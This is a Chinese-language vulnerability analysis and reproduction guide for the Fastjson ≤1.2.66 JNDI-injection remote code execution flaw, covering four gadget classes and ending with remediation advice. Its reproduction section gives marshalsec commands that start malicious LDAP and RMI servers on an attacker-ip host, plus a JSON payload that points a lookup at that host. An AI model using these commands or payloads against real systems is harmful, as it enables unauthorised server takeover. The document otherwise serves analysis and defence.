Fastjson 小于等于1.2.66版本远程代码执行漏洞分析复现含4个Gadget利用Poc构造
字数 1544 2025-08-18 11:39:30
Fastjson ≤1.2.66 远程代码执行漏洞分析与利用指南
漏洞概述
Fastjson 在1.2.66及之前版本中存在多个通过JNDI注入绕过黑名单限制的远程代码执行漏洞。攻击者可以构造特定的恶意JSON数据,触发反序列化过程中的JNDI注入,最终实现远程代码执行,获取服务器控制权限。
漏洞基本信息
- 漏洞名称: Fastjson 远程代码执行漏洞
- 影响版本: ≤1.2.66
- 威胁等级: 高危
- 公开时间: 2020年3月19日
- 补丁版本: 1.2.67
漏洞原理分析
根本原因
漏洞源于Fastjson的autoType功能与JNDI注入的结合利用。Fastjson在反序列化时,如果开启了autoType或存在相关配置问题,攻击者可以构造特定的JSON数据触发JNDI注入。
JNDI注入条件
- lookup参数可控
- InitialContext类及其子类的lookup方法允许动态协议转换
- lookup查找的对象是Reference类型及其子类
- 远程调用类时默认会在RMI服务器的classpath中查找,不存在则从URL地址加载类
攻击方式
可通过以下三种JNDI注入方式实现远程代码执行:
- RMI - 通过JNDI Reference远程调用object方法
- LDAP - 通过序列化对象、JNDI Reference或LDAP地址
- CORBA IOR - 远程获取实现类
可利用Gadget分析
1. org.apache.shiro.jndi.JndiObjectFactory
位置: org.apache.shiro-core-1.5.1.jar
漏洞点:
public T getInstance() {
try {
if(requiredType != null) {
return requiredType.cast(this.lookup(resourceName, requiredType));
} else {
return (T) this.lookup(resourceName);
}
}
}
利用特点: resourceName参数可控
2. br.com.anteros.dbcp.AnterosDBCPConfig
漏洞点:
private Object getObjectOrPerformJndiLookup(Object object) {
if (object instanceof String) {
try {
InitialContext initCtx = new InitialContext();
return initCtx.lookup((String) object);
} catch (NamingException e) {
throw new IllegalArgumentException(e);
}
}
return object;
}
利用特点: 通过metricRegistry参数传递
3. org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup
漏洞点:
通过jndiNames参数控制lookup的输入,jndiNames经过iterator().next遍历返回的对象序列再转化为String
4. com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig
漏洞点:
public void setProperties(Properties props) throws SQLException, TransactionException {
String utxName = null;
try {
utxName = (String) props.get("UserTransaction");
InitialContext initCtx = new InitialContext();
userTransaction = (UserTransaction) initCtx.lookup(utxName);
} catch (NamingException e) {
throw new SqlMapException("Error initializing JtaTransactionConfig while looking up UserTransaction (" + utxName + "). Cause: " + e);
}
}
利用特点: UserTransaction参数可控
漏洞复现
环境准备
- 使用Fastjson 1.2.66版本
- 准备marshalsec工具(marshalsec-0.0.3-SNAPSHOT-all.jar)
攻击步骤
- 启动恶意RMI/LDAP服务器:
# LDAP方式
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://attacker-ip:8000/#ExploitClass
# RMI方式
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://attacker-ip:8000/#ExploitClass
- 构造恶意JSON:
根据不同的Gadget构造对应的POC,例如使用JndiObjectFactory:
{
"@type": "org.apache.shiro.jndi.JndiObjectFactory",
"resourceName": "ldap://attacker-ip:1389/ExploitClass"
}
- 触发漏洞:
将构造的恶意JSON发送到目标服务器的Fastjson解析接口
修复建议
-
升级Fastjson:
- 立即升级到1.2.67或更高版本,该版本新增了16个黑名单Gadget
-
安全配置:
- 关闭autoType功能(默认已关闭)
- 移除不必要的配置代码:
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
-
防御措施:
- 使用白名单机制替代黑名单
- 对输入进行严格过滤和验证
参考工具
漏洞分析及复现相关工具:
https://github.com/SecurityCN/Vulnerability-analysis/tree/master/fastjson
总结
Fastjson ≤1.2.66版本存在多个可通过JNDI注入实现的远程代码执行漏洞,攻击者可以利用多个Gadget构造恶意JSON实现攻击。建议用户立即升级到安全版本,并关闭不必要的功能以减少攻击面。